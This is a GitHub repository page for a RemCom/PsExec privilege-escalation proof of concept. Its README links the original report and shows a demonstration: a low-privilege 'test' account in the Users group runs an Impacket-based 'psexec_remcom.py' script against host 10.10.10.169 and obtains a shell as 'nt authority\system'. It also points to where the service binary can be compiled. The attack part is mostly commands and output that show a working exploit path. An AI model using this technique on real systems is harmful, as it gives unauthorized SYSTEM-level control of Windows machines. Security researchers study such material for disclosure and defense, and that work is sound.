Skip to content

omair2084/remcom_privesc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 

Repository files navigation

Original Report https://twitter.com/bugch3ck/status/1626963208811470848

Requires an existing PsExec connection.

>net user test
User name                    test
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            18-02-2023 23:59:20
Password expires             Never
Password changeable          18-02-2023 23:59:20
Password required            No
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   19-02-2023 00:37:10

Logon hours allowed          All

Local Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.
# python3 psexec_remcom.py test@10.10.10.169 powershell -file /tmp/RemComSvc.exe                      1 ⚙
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[!] Press help for extra shell commands
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

whoami
PS C:\WINDOWS\system32> whoami
nt authority\system

Compile from here https://github.com/kavika13/RemCom

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages